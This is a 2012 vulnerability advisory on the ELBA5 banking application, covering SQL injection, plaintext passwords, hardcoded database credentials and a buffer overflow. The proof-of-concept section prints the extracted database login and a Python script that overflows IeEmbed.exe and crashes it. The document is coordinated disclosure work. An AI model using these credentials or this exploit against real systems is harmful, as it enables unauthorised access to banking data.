SEC Consult Vulnerability Lab Security Advisory < 20121220-0 >
=======================================================================
              title: Multiple Vulnerabilities in ELBA5
            product: ELBA 5
 vulnerable version: 5.5.0 R00006 build 0796
      fixed version: 5.6.0 R3
             impact: Medium
           homepage: http://www.elba.at/
              found: 10.08.2012
                 by: Kestutis Gudinavicius
                     SEC Consult Vulnerability Lab 
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
ELBA electronic banking is a multi-user, multi-protocol banking application.
For details, see http://www.elba.at. 


Vulnerability overview/description:
-----------------------------------
1) Due to insufficient input validation, the application is vulnerable to a 
second order SQL injection. By exploiting a SQL injection vulnerability, an 
attacker could gain access to all records stored in the database. 

2) The ELBA application stores user passwords as plaintext in the database. If 
the database is compromized, for example, by exploiting a SQL injection 
vulnerability an attacker could retrieve unencrypted passwords and use them to 
take over user accounts. 

3) Stand-alone and network versions of ELBA5 use default credentials in order to 
connect to a database. Credentials cannot be changed, for example, by editing a 
configuration file, because they are hardcoded in the application. The installation 
guide does not mention a possibility of setting a custom password in order to 
connect to a database. An attacker can easily extract credentials from the 
publicly available versions of ELBA5 and use them against the legitimate systems 
running the vulnerable software. 

4) The application uses the Java Desktop Integration Components (JDIC) package 
to extend its functionality. The JDIC package contains the executable IeEmbed.exe, 
which is vulnerable to a stack based buffer overflow. An attacker is able to 
execute arbitrary code in the context of the user when sending a specially 
crafted packet to the locally accesible TCP port bound by the IeEmbed.exe. This 
vulnerability is highly severe in multi user environments such as Citrix - one 
terminal user can attack other terminal users. 

 

Proof of concept:
-----------------
1) A SQL injection payload that is injected in the name of the account group field 
during the creation of an account group is later used unescaped by some forms of 
the application. To test this issue, it is sufficient to add a new account group 
(Master Data -> More -> Account Groups) that contains a single quote character 
in its name e.g. "SQL_INJECTION'" and navigate to the Payments -> Finished 
orders or Payments -> Packed orders form. Selecting a newly created account 
group from the "Client account" drop-down list will result in a SQL syntax error 
message. 

The following output is an application debug message. It shows an affected SQL 
statement. Note that the parameter "kgruppe" contains unescaped value resulting in 
an invalid SQL query. 

ERROR [a1b95f8175cd4c2]   DataSourceDB.handleThrowable: DB-Fehler aufgetreten -> fullContent: 
   
--- Message: current statement: SELECT a2.vfgid, bestand.bestNr, a1.zeichbed, bestand.uwkz, a2.zeichbed, a2.signnr, k.inhaber1, a1.signnr, bestand.sammler, bestand.anzahl, ebzsb.ebzid, edidoc.senden, bestand.vermerk, bestand.konto, a2.vfgname, a1.vfgname, bestand.umsvkn, bestand.status, rzkennung.rzkennung, edifile.edifilenr, aufart.zvart, a2.signstat, a1.signstat, bestand.summe, bestand.gwkz, a2.docnr, bestand.iban, bestand.kontoBez, a1.signkey, a1.docnr, a2.signkey, (select count(*) from aufkopf where bestand.bestnr = aufkopf.bestnr), bestand.blz, bestand.linRef, bestand.docNr, rzkennung.rzid, bestand.linNr, bestand.scode, COALESCE(edifile.vaxdat, edifile.senddat), rzkennung.bankbez, bestand.msgNr, bestand.wkz, a2.sign, a1.sign, bestand.kto, a1.vfgid, bestand.datArt, bestand.gvc, a1.vfgnr, bestand.matchcd, a2.vfgnr, bestand.art, bestand.dfDat, bestand.swift, bestand.kontrollwert
   FROM bestand 
   join edimsg on bestand.docnr = edimsg.docnr and bestand.msgnr = edimsg.msgnr 
   join aufart on bestand.art = aufart.art 
   LEFT OUTER JOIN ( select zvk.konto, zvk.inhaber1, zvk.logicKto from ZVKONTO zvk union all select ek.konto, ek.inhaber, null from EXTKONTO ek) as k (konto, inhaber1, logicKto) on bestand.konto = k.konto  
   join edidoc on edimsg.docnr =  edidoc.docnr 
   join rzkennung on edidoc.rzid = rzkennung.rzid 
   left outer join edifile on edidoc.edifilenr = edifile.edifilenr 
   left outer join autack a1 on edidoc.docnr = a1.adocnr and a1.vfgidx = 1 
   left outer join autack a2 on edidoc.docnr = a2.adocnr and a2.vfgidx = 2 
   left outer join ebzsb on edidoc.docnr = ebzsb.adocnr 
   WHERE 1=1 AND 
   edidoc.status in ( 15, 16, 11, 12, 13, 14 )  AND ( 
   coalesce(bestand.konto, 0) = 0 OR 
   bestand.konto in ( select konto from BEDKTO where bediener = 3) ) AND 
   (COALESCE(k.logicKto, k.konto) in (select konto from grpkto where kgruppe = 'SQL_INJECTION' '))  
   ORDER BY bestand.docNr desc, bestand.msgNr, bestand.linNr---

2) The unencrypted user credentials are stored in the database table BEDIENER, 
the affected column is PASSWORT. 

3) Despite the fact that some parts of the application are obfuscated it is 
relatively easy to extract hardcoded database credentials using a debugger. The 
following credentials were extracted and used to successfully connect to the 
remote ELBA5 databases: 

uid=elba
pwd=i#aG_7Yd9#

4) The component IeEmbed.exe is launched every time when a user navigates to, for 
example, Accounts -> Account overview form. The component starts listening on a 
random TCP port and binds to localhost. When parsing a data packet that is 
supposed to be converted to a HTTP POST request, the component IeEmbed.exe 
allocates a fixed size array to hold the HTTP headers, but fails to validate the 
user supplied data. By providing a large enough string (more than 2048 bytes) 
the stack buffer is overflowed. To test this vulnerability, a similar to the 
following data was sent to the TCP port that was opened by the component 
IeEmbed.exe. The value 2556364 was the handle of the arbitrary active window
and the {A x 4096} value represents the 4096 bytes length string. 

0,1,2556364</html><body></html>
0,6,http://localhost0,6,foo=bar0,6,AAAAAAAAAAAA...{A x 4096}...AAAAAAAA</html><body></html>

A harmless proof of concept code (Python (2.x) is required) is provided below. 
Running it will result in a crash of the component IeEmbed.exe. Crash details 
can be analyzed using a debugger.

import socket
import sys

EIP='\xaa\xaa\xaa\xaa'

def socket_read(sock):
    data = ''
    sock.settimeout(1)
    while True:
        try:
            buff = sock.recv(1024)
        except socket.timeout:
            break
        data += buff
        if not buff: break
    return data
    
if __name__ == '__main__':
    if len(sys.argv) != 3:
        print "Usage: ./%s <Target IP> <Port>" % sys.argv[0]
        sys.exit(1)

    host, port = sys.argv[1:]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    
    print '\n- Searching for the window handle\n'
    
    for i in xrange(65552,70000):    
        pkt='0,1,%s</html><body></html>' % i
        print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))
        s.send(pkt)
        data=socket_read(s)
        
        if data:
            print '\n- Sendind exploit payload\n'
            pkt='0,6,http://localhost0,6,foo=bar0,6,' + 'A' * 2087 + EIP + '</html><body></html>'
            print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))
            s.send(pkt)
            s.close()
            break
    
    sys.exit(1)



Vulnerable / tested versions:
-----------------------------
5.5.0 R00006 build 0796


Vendor contact timeline:
------------------------
2012-09-04: Contacting vendor through software@racon-linz.at.
2012-09-04: Vendor response: Issues will be investigated.
2012-09-25: Vendor response: New release with fixes will be published on 03.12.2012
2012-11-26: Vendor response: Release rescheduled to 17.12.2012
2012-12-20: Public disclosure of advisory

Solution:
---------
Upgrade to ELBA 5 5.6.0 R3


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


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EOF K. Gudinavicius / @2012